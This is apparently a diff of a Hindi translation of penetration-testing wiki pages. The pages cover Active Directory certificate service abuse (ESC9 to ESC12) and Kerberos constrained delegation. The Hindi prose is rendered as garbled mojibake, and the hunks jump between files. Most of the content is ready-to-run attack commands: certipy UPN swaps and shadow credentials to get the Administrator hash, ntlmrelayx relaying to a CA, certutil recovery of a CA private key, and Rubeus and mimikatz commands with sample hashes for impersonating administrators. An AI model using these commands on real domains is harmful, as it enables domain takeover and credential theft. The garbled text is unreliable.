рд╕реЗ рдЙрд╕рдХреЗ рдореВрд▓, `Jane@corp.local` рдкрд░ рд╡рд╛рдкрд╕ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +`Jane` рдХрд╛ `userPrincipalName` рдлрд┐рд░ рд╕реЗ рдЙрд╕рдХреЗ рдореВрд▓, `Jane@corp.local` рдкрд░ рд╡рд╛рдкрд╕ рд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЧрдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рд╕реЗ `Administrator@corp.local` рдХрд╛ NT рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдЧрд╛, рдЬреЛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореЗрдВ рдбреЛрдореЗрди рд╡рд┐рд╡рд░рдг рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рдХрд╛рд░рдг рдХрдорд╛рдВрдб рдореЗрдВ рдбреЛрдореЗрди рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред +рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рд╕реЗ `Administrator@corp.local` рдХрд╛ NT рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдЧрд╛, рдЬреЛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореЗрдВ рдбреЛрдореЗрди рд╡рд┐рд╡рд░рдг рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рдХрд╛рд░рдг рдХрдорд╛рдВрдб рдореЗрдВ рдбреЛрдореЗрди рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` @@ -483,7 +483,7 @@ certipy auth -pfx administrator.pfx -domain corp.local `CertificateMappingMethods` рдореЗрдВ `UPN` рдмрд┐рдЯ рдлреНрд▓реИрдЧ (`0x4`) рд╣реЛрдиреЗ рдХреЗ рд╕рд╛рде, рдПрдХ рдЦрд╛рддрд╛ A рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ `GenericWrite` рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рдХрд┐рд╕реА рднреА рдЦрд╛рддреЗ B рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ `userPrincipalName` рдкреНрд░реЙрдкрд░реНрдЯреА рдирд╣реАрдВ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдорд╢реАрди рдЦрд╛рддреЗ рдФрд░ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ `Administrator` рд╢рд╛рдорд┐рд▓ рд╣реИрдВред -рдпрд╣рд╛рдБ, рд▓рдХреНрд╖реНрдп `DC$@corp.local` рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рд╣реИ, `Jane` рдХрд╛ рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рдХрд░рддреЗ рд╣реБрдП Shadow Credentials рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, `GenericWrite` рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реБрдПред +рдпрд╣рд╛рдБ, рд▓рдХреНрд╖реНрдп `DC$@corp.local` рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рд╣реИ, рд╢реБрд░реВ рдХрд░рддреЗ рд╣реБрдП `Jane` рдХрд╛ рд╣реИрд╢ Shadow Credentials рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛, `GenericWrite` рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реБрдПред ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` @@ -503,17 +503,19 @@ Schannel рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -LDAP рд╢реЗрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, `set_rbcd` рдЬреИрд╕реЗ рдХрдорд╛рдВрдб Resource-Based Constrained Delegation (RBCD) рд╣рдорд▓реЛрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдХреЛ рдЦрддрд░реЗ рдореЗрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред +LDAP рд╢реЗрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, `set_rbcd` рдЬреИрд╕реЗ рдХрдорд╛рдВрдб рд░рд┐рд╕реЛрд░реНрд╕-рдЖрдзрд╛рд░рд┐рдд рд╕реАрдорд┐рдд рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ (RBCD) рд╣рдорд▓реЛрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдХреЛ рдЦрддрд░реЗ рдореЗрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -рдпрд╣ рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ `userPrincipalName` рдирд╣реАрдВ рд╣реИ рдпрд╛ рдЬрд╣рд╛рдВ рдпрд╣ `sAMAccountName` рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛, рдЬрд┐рд╕рдореЗрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ `Administrator@corp.local` рдПрдХ рдкреНрд░рдореБрдЦ рд▓рдХреНрд╖реНрдп рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдЙрдЪреНрдЪ LDAP рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ рдФрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `userPrincipalName` рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рд╣реИред +рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ `userPrincipalName` рдирд╣реАрдВ рд╣реИ рдпрд╛ рдЬрд╣рд╛рдВ рдпрд╣ `sAMAccountName` рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ `Administrator@corp.local` рдПрдХ рдкреНрд░рдореБрдЦ рд▓рдХреНрд╖реНрдп рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдЙрдЪреНрдЪ LDAP рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ рдФрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `userPrincipalName` рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рд╣реИред ## NTLM рдХреЛ ICPR рдореЗрдВ рд░рд┐рд▓реЗ рдХрд░рдирд╛ - ESC11 ### рд╡реНрдпрд╛рдЦреНрдпрд╛ -рдпрджрд┐ CA рд╕рд░реНрд╡рд░ рдХреЛ `IF_EN +рдпрджрд┐ CA рд╕рд░реНрд╡рд░ рдХреЛ `IF_ENFORCEENCRYPTICERTREQUEST` рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ RPC рд╕реЗрд╡рд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд╛рдЗрди рдХрд┐рдП рдмрд┐рдирд╛ NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИред [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)ред + +рдЖрдк рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП `certipy` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ `Enforce Encryption for Requests` рдЕрдХреНрд╖рдо рд╣реИ рдФрд░ certipy `ESC11` рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рджрд┐рдЦрд╛рдПрдЧрд╛ред ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -553,7 +555,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) ``` рдиреЛрдЯ: рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реНрд╕ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ DomainController рдореЗрдВ `-template` рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред -рдпрд╛ [sploutchy рдХреЗ impacket рдХреЗ рдлреЛрд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП](https://github.com/sploutchy/impacket): +рдпрд╛ [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП: ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` @@ -561,19 +563,19 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s ### Explanation -Administrators can set up the Certificate Authority to store it on an external device like the "Yubico YubiHSM2". +рдкреНрд░рд╢рд╛рд╕рдХ Certificate Authority рдХреЛ "Yubico YubiHSM2" рдЬреИрд╕реЗ рдмрд╛рд╣рд░реА рдЙрдкрдХрд░рдг рдкрд░ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM. +рдпрджрд┐ USB рдЙрдкрдХрд░рдг CA рд╕рд░реНрд╡рд░ рд╕реЗ USB рдкреЛрд░реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реИ, рдпрд╛ рдпрджрд┐ CA рд╕рд░реНрд╡рд░ рдПрдХ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рд╣реИ рддреЛ USB рдЙрдкрдХрд░рдг рд╕рд░реНрд╡рд░ рдореЗрдВ, Key Storage Provider рджреНрд╡рд╛рд░рд╛ YubiHSM рдореЗрдВ рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреБрдВрдЬреА (рдЬрд┐рд╕реЗ рдХрднреА-рдХрднреА "рдкрд╛рд╕рд╡рд░реНрдб" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ) рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext. +рдпрд╣ рдХреБрдВрдЬреА/рдкрд╛рд╕рд╡рд░реНрдб рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` рдХреЗ рддрд╣рдд рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИред Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). ### Abuse Scenario -If the CA's private key stored on a physical USB device when you got a shell access, it is possible to recover the key. +рдпрджрд┐ CA рдХреА рдирд┐рдЬреА рдХреБрдВрдЬреА рдПрдХ рднреМрддрд┐рдХ USB рдЙрдкрдХрд░рдг рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ рдЬрдм рдЖрдкрдХреЛ рд╢реЗрд▓ рдПрдХреНрд╕реЗрд╕ рдорд┐рд▓рд╛, рддреЛ рдХреБрдВрдЬреА рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред -In first, you need to obtain the CA certificate (this is public) and then: +рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (рдпрд╣ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╣реИ) рдФрд░ рдлрд┐рд░: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -587,12 +589,12 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ) (T2A4D) рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдУрд░ рд╕реЗ рдЕрдкрдиреЗ рд▓рд┐рдП (рд╕реЗрд╡рд╛) рдПрдХ TGS рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- **Service for User to Proxy(**_**S4U2proxy**_**):** рдПрдХ **рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛** рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдУрд░ рд╕реЗ **msDS-AllowedToDelegateTo** рдореЗрдВ рд╕реЗрдЯ рдХреА рдЧрдИ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдПрдХ TGS рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ рдкрд╣рд▓реЗ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдкрдиреЗ рд▓рд┐рдП рдПрдХ TGS рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдЙрд╕ TGS рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП S4U2self рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐ рд╡рд╣ рджреВрд╕рд░реЗ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗред +- **Service for User to self (_S4U2self_):** рдпрджрд┐ рдПрдХ **service account** рдХрд╛ _userAccountControl_ рдорд╛рди [TrustedToAuthForDelegation]() (T2A4D) рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдУрд░ рд╕реЗ рдЕрдкрдиреЗ рд▓рд┐рдП (рд╕реЗрд╡рд╛) рдПрдХ TGS рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред +- **Service for User to Proxy(_S4U2proxy_):** рдПрдХ **service account** рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдУрд░ рд╕реЗ **msDS-AllowedToDelegateTo** рдореЗрдВ рд╕реЗрдЯ рдХреА рдЧрдИ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП TGS рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ рдкрд╣рд▓реЗ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдкрдиреЗ рд▓рд┐рдП рдПрдХ TGS рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдЙрд╕ рдЕрдиреНрдп TGS рдХреЛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ S4U2self рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрд╕ TGS рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред -**рдиреЛрдЯ**: рдпрджрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ AD рдореЗрдВ тАШ_Account is sensitive and cannot be delegated_тАЩ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ **рдЕрдиреБрдХрд░рдг** рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред +**Note**: рдпрджрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ AD рдореЗрдВ тАШ_Account is sensitive and cannot be delegated_тАЩ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЖрдк **рдЙрдирдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрде** рд╣реЛрдВрдЧреЗред -рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдк **рд╕реЗрд╡рд╛ рдХреЗ рд╣реИрд╢ рдХреЛ рд╕рдордЭреМрддрд╛** рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдирдХреЗ рдкрдХреНрд╖ рдореЗрдВ **рд╕реЗрд╡рд╛ рдкрд░ рдкрд╣реБрдВрдЪ** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рд╕рдВрднрд╡ **privesc**)ред +рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдк **service рдХрд╛ рд╣реИрд╢ рд╕рдордЭреМрддрд╛** рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдирдХреЗ рдирд╛рдо рдкрд░ рдХрд┐рд╕реА рднреА **service** рддрдХ **рдкрд╣реБрдВрдЪ** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рд╕рдВрднрд╡ **privesc**)ред -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрдкрдХреЗ рдкрд╛рд╕ **рдЙрд╕ рд╕реЗрд╡рд╛ рддрдХ рдкрд╣реБрдВрдЪ** рдирд╣реАрдВ рд╣реЛрдЧреА рдЬрд┐рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдмрд▓реНрдХрд┐ рдХрд┐рд╕реА рднреА рд╕реЗрд╡рд╛ рддрдХ рднреА рдкрд╣реБрдВрдЪ рд╣реЛрдЧреА рдХреНрдпреЛрдВрдХрд┐ SPN (рдЕрдиреБрд░реЛрдзрд┐рдд рд╕реЗрд╡рд╛ рдирд╛рдо) рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ, рдХреЗрд╡рд▓ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **CIFS рд╕реЗрд╡рд╛** рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рдЖрдк Rubeus рдореЗрдВ `/altservice` рдзреНрд╡рдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **HOST рд╕реЗрд╡рд╛** рддрдХ рднреА рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрдкрдХреЗ рдкрд╛рд╕ **рдЙрд╕ рд╕реЗрд╡рд╛** рддрдХ рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рд╣реЛрдЧреА рдЬрд┐рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдмрд▓реНрдХрд┐ рдХрд┐рд╕реА рднреА рд╕реЗрд╡рд╛ рддрдХ рднреА рдкрд╣реБрдВрдЪ рд╣реЛрдЧреА рдХреНрдпреЛрдВрдХрд┐ SPN (рдЕрдиреБрд░реЛрдзрд┐рдд рд╕реЗрд╡рд╛ рдХрд╛ рдирд╛рдо) рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ (рдЯрд┐рдХрдЯ рдореЗрдВ рдпрд╣ рднрд╛рдЧ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб/рд╕рд╛рдЗрди рдирд╣реАрдВ рд╣реИ)ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **CIFS service** рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП Rubeus рдореЗрдВ `/altservice` рдзреНрд╡рдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **HOST service** рддрдХ рднреА рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **DC рдкрд░ LDAP рд╕реЗрд╡рд╛ рдХреА рдкрд╣реБрдВрдЪ**, рдПрдХ **DCSync** рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред ```bash:Enumerate @@ -25,6 +25,11 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json ``` +```bash:Quick Way +# Generate TGT + TGS impersonating a user knowing the hash +Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt +``` +- Step 1: **рдЕрдиреБрдордд рд╕реЗрд╡рд╛ рдХрд╛ TGT рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ** ```bash:Get TGT # The first step is to get a TGT of the service that can impersonate others ## If you are SYSTEM in the server, you might take it from memory @@ -36,22 +41,24 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" mimikatz sekurlsa::ekeys ## Request with aes -tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 +tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap # Request with RC4 -tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d +tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi ``` > [!WARNING] -> рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ SYSTEM рди рд╣реЛрдиреЗ рдХреЗ рдмрд╛рд╡рдЬреВрдж **TGT рдЯрд┐рдХрдЯ** рдпрд╛ **RC4** рдпрд╛ **AES256** рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ **рдЕрдиреНрдп рддрд░реАрдХреЗ** рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ рдкреНрд░рд┐рдВрдЯрд░ рдмрдЧ рдФрд░ рдЕрдирдХрдВрд╕реНрдЯреНрд░реЗрди рдбреЗрд▓реАрдЧреЗрд╢рди, NTLM рд░рд┐рд▓реЗрдЗрдВрдЧ рдФрд░ рдПрдХреНрдЯрд┐рд╡ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рд╕рд░реНрд╡рд┐рд╕ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ +> рд╡рд╣рд╛рдБ **TGT рдЯрд┐рдХрдЯ** рдпрд╛ **RC4** рдпрд╛ **AES256** рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ **рдЕрдиреНрдп рддрд░реАрдХреЗ** рд╣реИрдВ рдмрд┐рдирд╛ рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ SYSTEM рдмрдиреЗ рдЬреИрд╕реЗ рдХрд┐ Printer Bug рдФрд░ unconstrained delegation, NTLM relaying рдФрд░ Active Directory Certificate Service рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ > -> **рдмрд╕ рдЙрд╕ TGT рдЯрд┐рдХрдЯ (рдпрд╛ рд╣реИрд╢) рдХреЗ рд╕рд╛рде рдЖрдк рдЗрд╕ 